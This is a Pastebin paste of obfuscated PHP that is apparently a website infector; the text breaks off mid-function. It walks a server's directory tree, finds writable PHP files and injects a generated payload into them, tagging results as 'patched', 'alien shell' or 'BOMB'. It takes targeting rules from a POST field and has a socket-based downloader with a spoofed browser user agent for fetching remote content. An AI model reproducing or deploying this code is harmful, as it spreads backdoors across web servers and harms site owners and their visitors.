SHARE
TWEET

Untitled

a guest Sep 14th, 2011 576 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.   if (!function_exists('dg_main_init')) {
  3.       function FCF6CA68B893A9A9056E7005F906D492B()
  4.       {
  5.           echo "<b color='green'>full path [{$_SERVER['SCRIPT_FILENAME']}]</b><br />[s1]<br />";
  6.           echo "{$GLOBALS['dg_iver']}<h2>{$GLOBALS['http']}{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}</h2>";
  7.           $R3D9A15F4B89CA8D0B5D6EC97AB1D0799 = explode("/", $_SERVER['SCRIPT_FILENAME']);
  8.           array_pop($R3D9A15F4B89CA8D0B5D6EC97AB1D0799);
  9.           $R36E76FD4FF8F3FCF4A0D26466C7B73FC = explode("/", $_SERVER['REQUEST_URI']);
  10.           $R36E76FD4FF8F3FCF4A0D26466C7B73FC = array_slice($R36E76FD4FF8F3FCF4A0D26466C7B73FC, 0, count($R36E76FD4FF8F3FCF4A0D26466C7B73FC) - 1);
  11.           while (count($R36E76FD4FF8F3FCF4A0D26466C7B73FC) > 0 && count($R3D9A15F4B89CA8D0B5D6EC97AB1D0799) > 0 && strtolower($R36E76FD4FF8F3FCF4A0D26466C7B73FC[count($R36E76FD4FF8F3FCF4A0D26466C7B73FC) - 1]) == strtolower($R3D9A15F4B89CA8D0B5D6EC97AB1D0799[count($R3D9A15F4B89CA8D0B5D6EC97AB1D0799) - 1])) {
  12.               unset($R36E76FD4FF8F3FCF4A0D26466C7B73FC[count($R36E76FD4FF8F3FCF4A0D26466C7B73FC) - 1]);
  13.               unset($R3D9A15F4B89CA8D0B5D6EC97AB1D0799[count($R3D9A15F4B89CA8D0B5D6EC97AB1D0799) - 1]);
  14.           }
  15.           $GLOBALS['dgsp'] = implode("/", $R3D9A15F4B89CA8D0B5D6EC97AB1D0799);
  16.           $GLOBALS['fpath'] = $GLOBALS['dgsp'];
  17.           echo "<b color='green'>root dir path [{$GLOBALS['dgsp']}/]</b><br /><br />";
  18.           $GLOBALS['dgcgr'] = 0;
  19.           $GLOBALS['dgcgrf'] = 0;
  20.           FF56E85598FD1E5CD4D7B9372098D5D69();
  21.       }
  22.   }
  23.   if (!function_exists('all_php_inject')) {
  24.       function F5EEDC2EB9B7D128BC5EE01933C9DC3BF($R3435986BDA8C9393E0EBDB9F58F02750, $R4AFE6F1D68092877EC575B6BE730FDC4 = 0, $R399036803A841185E4A270BC666A66CF = true)
  25.       {
  26.           $RCC40921E342906CE1A0116A82D63AE97 = 0;
  27.           $R3435986BDA8C9393E0EBDB9F58F02750 = str_replace('\\', '/', $R3435986BDA8C9393E0EBDB9F58F02750);
  28.           if ($R3435986BDA8C9393E0EBDB9F58F02750[strlen($R3435986BDA8C9393E0EBDB9F58F02750) - 1] == '/') {
  29.               $R3435986BDA8C9393E0EBDB9F58F02750 = substr($R3435986BDA8C9393E0EBDB9F58F02750, 0, strlen($R3435986BDA8C9393E0EBDB9F58F02750) - 1);
  30.           }
  31.           if (!is_dir($R3435986BDA8C9393E0EBDB9F58F02750)) {
  32.               if (!$R399036803A841185E4A270BC666A66CF) {
  33.                   echo "<b>NOT FOLDER</b> <font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  34.               }
  35.               return;
  36.           }
  37.           if (is_link($R3435986BDA8C9393E0EBDB9F58F02750)) {
  38.               if (!$R399036803A841185E4A270BC666A66CF) {
  39.                   echo "<b>LINK</b> <font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  40.               }
  41.               return;
  42.           }
  43.           if (strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), 'cache') || strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), 'snapshot')) {
  44.               if (!$R399036803A841185E4A270BC666A66CF) {
  45.                   echo "<b>CACHE</b> <b color='orange'>{$R3435986BDA8C9393E0EBDB9F58F02750}</b><br />";
  46.               }
  47.               return;
  48.           }
  49.           if ($R3435986BDA8C9393E0EBDB9F58F02750 . "/" == $GLOBALS['dgcp'] || file_exists($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $GLOBALS['dgin'])) {
  50.               if (!$R399036803A841185E4A270BC666A66CF) {
  51.                   echo "<b>MAIN DIR</b> <font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  52.               }
  53.               return;
  54.           }
  55.           if (!$R399036803A841185E4A270BC666A66CF) {
  56.               echo "{$R3435986BDA8C9393E0EBDB9F58F02750}<br />";
  57.           }
  58.           $R60169CD1C47B7A7A85AB44F884635E41 = opendir($R3435986BDA8C9393E0EBDB9F58F02750);
  59.           if (!$R60169CD1C47B7A7A85AB44F884635E41) {
  60.               if (!$R399036803A841185E4A270BC666A66CF) {
  61.                   echo "<b>OPENDIR</b> <font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  62.               }
  63.               return;
  64.           }
  65.           if (F9398755FDD1943E4461A469F52393302($R3435986BDA8C9393E0EBDB9F58F02750)) {
  66.               F56BB4AA84D3F4DC7A478433B4EDC9346($GLOBALS['dg_wpi'][count($GLOBALS['dg_wpi']) - 1], 1, 0);
  67.           }
  68.           $RDC06FE5C55C8349253CFEB639CB7D946 = array();
  69.           while (strlen($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41))) {
  70.               if ($R6B6E98CDE8B33087A33E4D3A497BD86B == '.' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '..') {
  71.                   continue;
  72.               }
  73.               $R77059C7A69211EE32AB5C5C739545AAC = 0;
  74.               $R3FF07D2E9DEBFE3EDA73A94394E973AD = "";
  75.               $R09A33463761E506248078D422B1C5226 = $R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $R6B6E98CDE8B33087A33E4D3A497BD86B;
  76.               if (is_file($R09A33463761E506248078D422B1C5226)) {
  77.                   if (in_array($R09A33463761E506248078D422B1C5226, $GLOBALS['dg_wpi'])) {
  78.                       if (!$R399036803A841185E4A270BC666A66CF) {
  79.                           echo "<b>BUSY</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  80.                       }
  81.                       continue;
  82.                   }
  83.                   $R51C847BD7DD2C8F202716708BD1BF48E = substr(md5($R3435986BDA8C9393E0EBDB9F58F02750 . '/'), 0, 3) . '.php';
  84.                   $RC1F6F55AD90C33721D27716C97263C9C = substr(md5($R51C847BD7DD2C8F202716708BD1BF48E), 0, 4) . '.php';
  85.                   $R44A3CADCFF1536F1D80FB4936AE5217C = md5($R09A33463761E506248078D422B1C5226);
  86.                   if ($R6B6E98CDE8B33087A33E4D3A497BD86B == $R51C847BD7DD2C8F202716708BD1BF48E) {
  87.                       if (!$R399036803A841185E4A270BC666A66CF) {
  88.                           echo "<b>OTHER MS</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  89.                       }
  90.                       continue;
  91.                   }
  92.                   if ($R6B6E98CDE8B33087A33E4D3A497BD86B == $RC1F6F55AD90C33721D27716C97263C9C) {
  93.                       if (!$R399036803A841185E4A270BC666A66CF) {
  94.                           echo "<b>SHELL</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  95.                       }
  96.                       continue;
  97.                   }
  98.                   if (isset($GLOBALS['dgmn']) && $R6B6E98CDE8B33087A33E4D3A497BD86B == $GLOBALS['dgmn']) {
  99.                       continue;
  100.                   }
  101.                   if (!in_array(strtolower(FB0CA10E1120A0109457A62C6A8304059($R09A33463761E506248078D422B1C5226)), array("php", "phtml", "php3", "php4", "php5"))) {
  102.                       continue;
  103.                   }
  104.                   if (!is_writable($R09A33463761E506248078D422B1C5226)) {
  105.                       if (!$R399036803A841185E4A270BC666A66CF) {
  106.                           echo "<font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  107.                       }
  108.                       continue;
  109.                   }
  110.                   F56BB4AA84D3F4DC7A478433B4EDC9346($R09A33463761E506248078D422B1C5226, $R4AFE6F1D68092877EC575B6BE730FDC4, $R399036803A841185E4A270BC666A66CF);
  111.               } elseif (is_dir($R09A33463761E506248078D422B1C5226)) {
  112.                   $RDC06FE5C55C8349253CFEB639CB7D946[$R09A33463761E506248078D422B1C5226] = count($RDC06FE5C55C8349253CFEB639CB7D946) + 1;
  113.               }
  114.           }
  115.           closedir($R60169CD1C47B7A7A85AB44F884635E41);
  116.           foreach ($RDC06FE5C55C8349253CFEB639CB7D946 as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B => $R244F38266C59587D696AEC08A771B803) {
  117.               F5EEDC2EB9B7D128BC5EE01933C9DC3BF($RF413F06AEBBCEF5E1C8B1019DEE6FE6B, $R4AFE6F1D68092877EC575B6BE730FDC4, $R399036803A841185E4A270BC666A66CF);
  118.           }
  119.       }
  120.   }
  121.   if (!function_exists('clear_get_post_vars')) {
  122.       function F1C65CCC987FD1C69A937255B386776F4($REDD5482A7CEE59F6E61DA2AFB9899B77)
  123.       {
  124.           $REDD5482A7CEE59F6E61DA2AFB9899B77 = rawurldecode($REDD5482A7CEE59F6E61DA2AFB9899B77);
  125.           if (get_magic_quotes_gpc() || strpos($REDD5482A7CEE59F6E61DA2AFB9899B77, '\\"')) {
  126.               $REDD5482A7CEE59F6E61DA2AFB9899B77 = stripslashes($REDD5482A7CEE59F6E61DA2AFB9899B77);
  127.           }
  128.           if (strpos($REDD5482A7CEE59F6E61DA2AFB9899B77, '"')) {
  129.               $REDD5482A7CEE59F6E61DA2AFB9899B77 = html_entity_decode($REDD5482A7CEE59F6E61DA2AFB9899B77);
  130.           }
  131.           return $REDD5482A7CEE59F6E61DA2AFB9899B77;
  132.       }
  133.   }
  134.   if (!function_exists('process_file_inject')) {
  135.       function F56BB4AA84D3F4DC7A478433B4EDC9346($R09A33463761E506248078D422B1C5226, $R4AFE6F1D68092877EC575B6BE730FDC4, $R399036803A841185E4A270BC666A66CF)
  136.       {
  137.           $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[not patched]</b>";
  138.           $R3FF07D2E9DEBFE3EDA73A94394E973AD = "";
  139.           $R44A3CADCFF1536F1D80FB4936AE5217C = md5($R09A33463761E506248078D422B1C5226);
  140.           $R88DEF066F2B90CE2945E95A679818E59 = file($R09A33463761E506248078D422B1C5226);
  141.           $R9112F3F5F6B79B83853FC755F2CD738C = implode("", $R88DEF066F2B90CE2945E95A679818E59);
  142.           $RA1D44C0654A40984A103C270FFB9BF33 = count($R88DEF066F2B90CE2945E95A679818E59);
  143.           for ($RA16D2280393CE6A2A5428A4A8D09E354 = 0; $RA16D2280393CE6A2A5428A4A8D09E354 < $RA1D44C0654A40984A103C270FFB9BF33; $RA16D2280393CE6A2A5428A4A8D09E354++) {
  144.               if (strpos($R88DEF066F2B90CE2945E95A679818E59[$RA16D2280393CE6A2A5428A4A8D09E354], 'base64_decode') > 0) {
  145.                   if (preg_match('/\<\?php\s+\/\*(\w{32})\*\/\s/si', $R88DEF066F2B90CE2945E95A679818E59[$RA16D2280393CE6A2A5428A4A8D09E354], $R0E1D0C3D94C6A3ED112BD24B39700D3A)) {
  146.                       if ($R0E1D0C3D94C6A3ED112BD24B39700D3A[1] == '00000000000000000000000000000000') {
  147.                           echo "<b>BOMB</b> <font color='blue'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  148.                       } elseif ($R0E1D0C3D94C6A3ED112BD24B39700D3A[1] == $R44A3CADCFF1536F1D80FB4936AE5217C) {
  149.                           $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[cleared]</b>";
  150.                       } elseif ($R0E1D0C3D94C6A3ED112BD24B39700D3A[1] <> $R44A3CADCFF1536F1D80FB4936AE5217C) {
  151.                           $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[other script]</b>";
  152.                       }
  153.                   } else {
  154.                       $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[alien shell]</b>";
  155.                   }
  156.                   unset($R88DEF066F2B90CE2945E95A679818E59[$RA16D2280393CE6A2A5428A4A8D09E354]);
  157.               } else {
  158.                   break;
  159.               }
  160.           }
  161.           $RA781739E1F0BEAF06B2830841D8D422F = implode("", $R88DEF066F2B90CE2945E95A679818E59);
  162.           while (preg_match("/{$GLOBALS['dgix']}/si", $RA781739E1F0BEAF06B2830841D8D422F, $R0E1D0C3D94C6A3ED112BD24B39700D3A)) {
  163.               if (preg_match('/md5\s+\=\s+\"(\w{32})\"/si', $R0E1D0C3D94C6A3ED112BD24B39700D3A[0], $RD9B85BECF77AADF16085555F6E5AC882)) {
  164.                   if ($RD9B85BECF77AADF16085555F6E5AC882[1] == '00000000000000000000000000000000') {
  165.                       echo "<b>BOMB</b> <font color='blue'>{$R09A33463761E506248078D422B1C5226}</font><br />";
  166.                   } elseif ($RD9B85BECF77AADF16085555F6E5AC882[1] == $R44A3CADCFF1536F1D80FB4936AE5217C) {
  167.                       $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[cleared]</b>";
  168.                   } elseif ($RD9B85BECF77AADF16085555F6E5AC882[1] <> $R44A3CADCFF1536F1D80FB4936AE5217C) {
  169.                       $REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[other script]</b>";
  170.                   }
  171.               }
  172.               $RA781739E1F0BEAF06B2830841D8D422F = trim(str_replace($R0E1D0C3D94C6A3ED112BD24B39700D3A[0], $R0E1D0C3D94C6A3ED112BD24B39700D3A[1], $RA781739E1F0BEAF06B2830841D8D422F));
  173.           }
  174.           $RA781739E1F0BEAF06B2830841D8D422F = trim(preg_replace("/\<\?php\s*\?\>/s", "", $RA781739E1F0BEAF06B2830841D8D422F));
  175.           if (preg_match("/\@zend/i", $RA781739E1F0BEAF06B2830841D8D422F)) {
  176.               echo "<b>ZEND</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font>{$REA59B2D9277B7D41FCDC0D385B531D05}<br />";
  177.           } elseif ($R4AFE6F1D68092877EC575B6BE730FDC4) {
  178.               $R45A8AC490EA7C93EB616713561BEB891 = FCE5FE761FE36220458FAE651AEABF6D9($GLOBALS['dgij'], rand(50, 100), 0, 1);
  179.               if (in_array($R09A33463761E506248078D422B1C5226, $GLOBALS['dg_wpi'])) {
  180.                   $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = preg_split('/\}[\r\n]+function/siU', $RA781739E1F0BEAF06B2830841D8D422F);
  181.                   if (count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F) > 1) {
  182.                       $R45A8AC490EA7C93EB616713561BEB891 = FC849CAC2A4FBC4376B6DAB7DD63CDA6D($R45A8AC490EA7C93EB616713561BEB891, 0, $R44A3CADCFF1536F1D80FB4936AE5217C);
  183.                       $R6B9E648D8EEA28C9CB44DAEE2CA08812 = round(count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F) / 2);
  184.                       $RA781739E1F0BEAF06B2830841D8D422F = '';
  185.                       $R1C95B19465C762FA7DCC336ED7A6ABFC = 0;
  186.                       foreach ($RCC5C6E696C11A4FDF170ECE8BA9FDC6F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B => $R244F38266C59587D696AEC08A771B803) {
  187.                           $R1C95B19465C762FA7DCC336ED7A6ABFC++;
  188.                           if ($R1C95B19465C762FA7DCC336ED7A6ABFC == count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F)) {
  189.                               $RA781739E1F0BEAF06B2830841D8D422F = $RA781739E1F0BEAF06B2830841D8D422F . $R244F38266C59587D696AEC08A771B803;
  190.                           } else {
  191.                               if ($R1C95B19465C762FA7DCC336ED7A6ABFC == $R6B9E648D8EEA28C9CB44DAEE2CA08812) {
  192.                                   $RA781739E1F0BEAF06B2830841D8D422F = $RA781739E1F0BEAF06B2830841D8D422F . $R244F38266C59587D696AEC08A771B803 . "}\n\n{$R45A8AC490EA7C93EB616713561BEB891}\nfunction";
  193.                               } else {
  194.                                   $RA781739E1F0BEAF06B2830841D8D422F = $RA781739E1F0BEAF06B2830841D8D422F . $R244F38266C59587D696AEC08A771B803 . "}\n\nfunction";
  195.                               }
  196.                           }
  197.                       }
  198.                   } else {
  199.                       $R45A8AC490EA7C93EB616713561BEB891 = FC849CAC2A4FBC4376B6DAB7DD63CDA6D($R45A8AC490EA7C93EB616713561BEB891, 1, $R44A3CADCFF1536F1D80FB4936AE5217C);
  200.                       $RA781739E1F0BEAF06B2830841D8D422F = $R45A8AC490EA7C93EB616713561BEB891 . "\n" . trim($RA781739E1F0BEAF06B2830841D8D422F);
  201.                   }
  202.               } else {
  203.                   $R45A8AC490EA7C93EB616713561BEB891 = FC849CAC2A4FBC4376B6DAB7DD63CDA6D($R45A8AC490EA7C93EB616713561BEB891, 1, $R44A3CADCFF1536F1D80FB4936AE5217C);
  204.                   $RA781739E1F0BEAF06B2830841D8D422F = $R45A8AC490EA7C93EB616713561BEB891 . "\n" . trim($RA781739E1F0BEAF06B2830841D8D422F);
  205.               }
  206.               $R3FF07D2E9DEBFE3EDA73A94394E973AD = " <b>[patched]</b>";
  207.           }
  208.           if ($R9112F3F5F6B79B83853FC755F2CD738C <> $RA781739E1F0BEAF06B2830841D8D422F) {
  209.               if (F17B8C65064AE90679E4CE6254EF6C510($R09A33463761E506248078D422B1C5226, $RA781739E1F0BEAF06B2830841D8D422F, 1)) {
  210.                   echo "<font color='green'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br />";
  211.               } else {
  212.                   echo "<font color='red'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br />";
  213.               }
  214.           }
  215.       }
  216.   }
  217.   if (!function_exists('leave_clear_php')) {
  218.       function FE19A7FAB0F9597E68E23311BB5FB460F(&$RCC187A276BBEAFEA3A2404A9BDFDA2E4)
  219.       {
  220.           $RCC187A276BBEAFEA3A2404A9BDFDA2E4 = substr($RCC187A276BBEAFEA3A2404A9BDFDA2E4, strpos($RCC187A276BBEAFEA3A2404A9BDFDA2E4, '<?'), strlen($RCC187A276BBEAFEA3A2404A9BDFDA2E4));
  221.           $RCC187A276BBEAFEA3A2404A9BDFDA2E4 = substr($RCC187A276BBEAFEA3A2404A9BDFDA2E4, 0, strrpos($RCC187A276BBEAFEA3A2404A9BDFDA2E4, '?>') + 2);
  222.       }
  223.   }
  224.   if (!function_exists('check_engine_install')) {
  225.       function F07A2AB8F1A5D301EC9E262A828A02E81()
  226.       {
  227.           global $_POST;
  228.           if (!isset($_POST['dgrules']) || trim($_POST['dgrules']) == "") {
  229.               return;
  230.           }
  231.           $_POST['dgrules'] = trim(F1C65CCC987FD1C69A937255B386776F4($_POST['dgrules']));
  232.           $GLOBALS['dgrules'] = explode(";", $_POST['dgrules']);
  233.           $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = explode("/", $GLOBALS['dgcp']);
  234.           while (count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F) > 0) {
  235.               $R3D9A15F4B89CA8D0B5D6EC97AB1D0799 = implode("/", $RCC5C6E696C11A4FDF170ECE8BA9FDC6F);
  236.               if (F9398755FDD1943E4461A469F52393302($R3D9A15F4B89CA8D0B5D6EC97AB1D0799)) {
  237.                   break;
  238.               }
  239.               unset($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F) - 1]);
  240.           }
  241.       }
  242.   }
  243.   if (!function_exists('check_engine_rules')) {
  244.       function F9398755FDD1943E4461A469F52393302($R3D9A15F4B89CA8D0B5D6EC97AB1D0799)
  245.       {
  246.           foreach ($GLOBALS['dgrules'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B => $R244F38266C59587D696AEC08A771B803) {
  247.               $R244F38266C59587D696AEC08A771B803 = trim($R244F38266C59587D696AEC08A771B803);
  248.               $R47C3D8A7456B34667A1D192FF45449AF = explode("@#@", $R244F38266C59587D696AEC08A771B803);
  249.               $RAC188F9B996ABD4DD6A515C3859A8854 = 1;
  250.               foreach ($R47C3D8A7456B34667A1D192FF45449AF as $R607C17D838186F5D79E9619FDD4AEEDB => $R104593B29E5C2EB4D1C51D76682DBF4F) {
  251.                   $R104593B29E5C2EB4D1C51D76682DBF4F = trim($R104593B29E5C2EB4D1C51D76682DBF4F);
  252.                   if (in_array($R3D9A15F4B89CA8D0B5D6EC97AB1D0799 . $R104593B29E5C2EB4D1C51D76682DBF4F, $GLOBALS['dg_wpi'])) {
  253.                       return 0;
  254.                   }
  255.                   if (!(file_exists($R3D9A15F4B89CA8D0B5D6EC97AB1D0799 . $R104593B29E5C2EB4D1C51D76682DBF4F))) {
  256.                       $RAC188F9B996ABD4DD6A515C3859A8854 = 0;
  257.                       break;
  258.                   }
  259.               }
  260.               if ($RAC188F9B996ABD4DD6A515C3859A8854) {
  261.                   foreach ($R47C3D8A7456B34667A1D192FF45449AF as $R607C17D838186F5D79E9619FDD4AEEDB => $R104593B29E5C2EB4D1C51D76682DBF4F) {
  262.                       if (is_writable($R3D9A15F4B89CA8D0B5D6EC97AB1D0799 . $R104593B29E5C2EB4D1C51D76682DBF4F)) {
  263.                           $GLOBALS['dg_wpi'][] = $R3D9A15F4B89CA8D0B5D6EC97AB1D0799 . $R104593B29E5C2EB4D1C51D76682DBF4F;
  264.                           echo "<font color='blue'>engine path {$R3D9A15F4B89CA8D0B5D6EC97AB1D0799}{$R104593B29E5C2EB4D1C51D76682DBF4F}</font><br />";
  265.                           return 1;
  266.                       }
  267.                   }
  268.                   return 0;
  269.               }
  270.           }
  271.           return 0;
  272.       }
  273.   }
  274.   if (!function_exists('dgdownload')) {
  275.       function FF1B87E88E778C1B948FEC61266EE0DCC($R6E4F14B335243BE656C65E3ED9E1B115, $RC5B265F9301FFAC9B75AD1757A1402CA)
  276.       {
  277.           if (!$R6E4F14B335243BE656C65E3ED9E1B115) {
  278.               return '';
  279.           }
  280.           $R034AE2AB94F99CC81B389A1822DA3353 = '';
  281.           $R844DFC0FD25D1F7E03DECF1F5A9504A9 = parse_url($R6E4F14B335243BE656C65E3ED9E1B115);
  282.           if (!isset($R844DFC0FD25D1F7E03DECF1F5A9504A9['port']) || !$R844DFC0FD25D1F7E03DECF1F5A9504A9['port']) {
  283.               $R844DFC0FD25D1F7E03DECF1F5A9504A9['port'] = 80;
  284.           }
  285.           if (!isset($R844DFC0FD25D1F7E03DECF1F5A9504A9['path']) || !$R844DFC0FD25D1F7E03DECF1F5A9504A9['path']) {
  286.               $R844DFC0FD25D1F7E03DECF1F5A9504A9['path'] = '/';
  287.           }
  288.           if (isset($R844DFC0FD25D1F7E03DECF1F5A9504A9['query']) && $R844DFC0FD25D1F7E03DECF1F5A9504A9['query']) {
  289.               $R844DFC0FD25D1F7E03DECF1F5A9504A9['path'] = $R844DFC0FD25D1F7E03DECF1F5A9504A9['path'] . "?" . $R844DFC0FD25D1F7E03DECF1F5A9504A9['query'];
  290.           }
  291.           $RE91192A00FF990477EE414AD5D708F08 = "GET {$R844DFC0FD25D1F7E03DECF1F5A9504A9['path']} HTTP/1.0\r\n";
  292.           $RE91192A00FF990477EE414AD5D708F08 .= "Host: {$R844DFC0FD25D1F7E03DECF1F5A9504A9['host']}\r\n";
  293.           $RE91192A00FF990477EE414AD5D708F08 .= "Accept: */*\r\n";
  294.           $RE91192A00FF990477EE414AD5D708F08 .= "Connection: close\r\n";
  295.           $RE91192A00FF990477EE414AD5D708F08 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\r\n";
  296.           $RE91192A00FF990477EE414AD5D708F08 = $RE91192A00FF990477EE414AD5D708F08 . "\r\n";
  297.           $R32D00070D4FFBCCE2FC669BBA812D4C2 = 0;
  298.           $RB5ADDE8D7D7412251F47419FE9BF51A7 = "";
  299.           $RAD10634E7F72CAA071320F21AEE5930D = fsockopen($R844DFC0FD25D1F7E03DECF1F5A9504A9['host'], $R844DFC0FD25D1F7E03DECF1F5A9504A9['port'], $R32D00070D4FFBCCE2FC669BBA812D4C2, $RB5ADDE8D7D7412251F47419FE9BF51A7, $RC5B265F9301FFAC9B75AD1757A1402CA);
  300.           $R60169CD1C47B7A7A85AB44F884635E41 = array();
  301.           $R7F9D6867B727C5EC3758829CBABBFD36 = array();
  302.           if ($RAD10634E7F72CAA071320F21AEE5930D) {
  303.               stream_set_timeout($RAD10634E7F72CAA071320F21AEE5930D, $RC5B265F9301FFAC9B75AD1757A1402CA);
  304.               fwrite($RAD10634E7F72CAA071320F21AEE5930D, $RE91192A00FF990477EE414AD5D708F08);
  305.               $RFA881AEE34CEA5BF14CD17E0AD2944C6 = false;
  306.               while (!feof($RAD10634E7F72CAA071320F21AEE5930D)) {
  307.                   $R24D59CD0B76A27B85F35D40A3CF6EC37 = fgets($RAD10634E7F72CAA071320F21AEE5930D);
  308.                   if (!$RFA881AEE34CEA5BF14CD17E0AD2944C6) {
  309.                       if (trim($R24D59CD0B76A27B85F35D40A3CF6EC37) == '') {
  310.                           $RFA881AEE34CEA5BF14CD17E0AD2944C6 = true;
  311.                       } else {
  312.                           $R60169CD1C47B7A7A85AB44F884635E41[] = $R24D59CD0B76A27B85F35D40A3CF6EC37;
  313.                       }
  314.                   } else {
  315.                       $R7F9D6867B727C5EC3758829CBABBFD36[] = $R24D59CD0B76A27B85F35D40A3CF6EC37;
  316.                   }
  317.               }
  318.               fclose($RAD10634E7F72CAA071320F21AEE5930D);
  319.           }
  320.           $R034AE2AB94F99CC81B389A1822DA3353 = implode("", $R7F9D6867B727C5EC3758829CBABBFD36);
  321.           return $R034AE2AB94F99CC81B389A1822DA3353;
  322.       }
  323.   }
  324.   if (!function_exists('save_text_to_file')) {
  325.       function F17B8C65064AE90679E4CE6254EF6C510($RE7E2E71331FE94AA6EC44D82C461255D, $R30B2AB8DC1496D06B230A71D8962AF5D, $RAA7BB4B05FBD27DB7CA594893F166B47 = 0)
  326.       {
  327.           if ($RAA7BB4B05FBD27DB7CA594893F166B47) {
  328.               $R6B6E98CDE8B33087A33E4D3A497BD86B = fopen($RE7E2E71331FE94AA6EC44D82C461255D, "w");
  329.           } else {
  330.               $R6B6E98CDE8B33087A33E4D3A497BD86B = fopen($RE7E2E71331FE94AA6EC44D82C461255D, "a");
  331.           }
  332.           if ($R6B6E98CDE8B33087A33E4D3A497BD86B) {
  333.               fwrite($R6B6E98CDE8B33087A33E4D3A497BD86B, $R30B2AB8DC1496D06B230A71D8962AF5D);
  334.               fflush($R6B6E98CDE8B33087A33E4D3A497BD86B);
  335.               fclose($R6B6E98CDE8B33087A33E4D3A497BD86B);
  336.               $R3D36631C17A410207D32E9D80D60F4B5 = filesize($RE7E2E71331FE94AA6EC44D82C461255D);
  337.               if (($R30B2AB8DC1496D06B230A71D8962AF5D <> '' && $R3D36631C17A410207D32E9D80D60F4B5) || ($R30B2AB8DC1496D06B230A71D8962AF5D == '' && !$R3D36631C17A410207D32E9D80D60F4B5)) {
  338.                   return 1;
  339.               } else {
  340.                   $RE7E2E71331FE94AA6EC44D82C461255D = str_replace("/", "\\", $RE7E2E71331FE94AA6EC44D82C461255D);
  341.                   $R3D36631C17A410207D32E9D80D60F4B5 = filesize($RE7E2E71331FE94AA6EC44D82C461255D);
  342.               }
  343.               if (($R30B2AB8DC1496D06B230A71D8962AF5D <> '' && $R3D36631C17A410207D32E9D80D60F4B5) || ($R30B2AB8DC1496D06B230A71D8962AF5D == '' && !$R3D36631C17A410207D32E9D80D60F4B5)) {
  344.                   return 1;
  345.               }
  346.           } else {
  347.               return 0;
  348.           }
  349.       }
  350.   }
  351.   if (!function_exists('replace_substring')) {
  352.       function F7C23AA131822F77A31BC8492D9A7CE00(&$R3F243E13444F693A59F15AA5D424B3BE, $R90E5FE7956E08A89579E70943F0372AE, $RF7E7FCE013E324E055A9E78B261DED6C, $R63BEDE6B19266D4EFEAD07A4D91E29EB)
  353.       {
  354.           $R980C6A9BFD38E36311B691E3ADD7CCAD = strpos($R3F243E13444F693A59F15AA5D424B3BE, $R90E5FE7956E08A89579E70943F0372AE);
  355.           if (!$R980C6A9BFD38E36311B691E3ADD7CCAD) {
  356.               return false;
  357.           }
  358.           $RBA236152DAE38CD004245A94CA177B11 = substr($R3F243E13444F693A59F15AA5D424B3BE, 0, $R980C6A9BFD38E36311B691E3ADD7CCAD + strlen($R90E5FE7956E08A89579E70943F0372AE));
  359.           $R980C6A9BFD38E36311B691E3ADD7CCAD = strpos($R3F243E13444F693A59F15AA5D424B3BE, $RF7E7FCE013E324E055A9E78B261DED6C, $R980C6A9BFD38E36311B691E3ADD7CCAD);
  360.           if (!$R980C6A9BFD38E36311B691E3ADD7CCAD) {
  361.               return false;
  362.           }
  363.           $R9D286369CBA2FBEB34D036FFC3C9EB2E = substr($R3F243E13444F693A59F15AA5D424B3BE, $R980C6A9BFD38E36311B691E3ADD7CCAD, strlen($R3F243E13444F693A59F15AA5D424B3BE));
  364.           if (strlen($RBA236152DAE38CD004245A94CA177B11) && strlen($R9D286369CBA2FBEB34D036FFC3C9EB2E)) {
  365.               $R3F243E13444F693A59F15AA5D424B3BE = $RBA236152DAE38CD004245A94CA177B11 . $R63BEDE6B19266D4EFEAD07A4D91E29EB . $R9D286369CBA2FBEB34D036FFC3C9EB2E;
  366.               return true;
  367.           }
  368.           return false;
  369.       }
  370.   }
  371.   if (!function_exists('gfe')) {
  372.       function FB0CA10E1120A0109457A62C6A8304059($RE7E2E71331FE94AA6EC44D82C461255D)
  373.       {
  374.           $R034AE2AB94F99CC81B389A1822DA3353 = pathinfo($RE7E2E71331FE94AA6EC44D82C461255D);
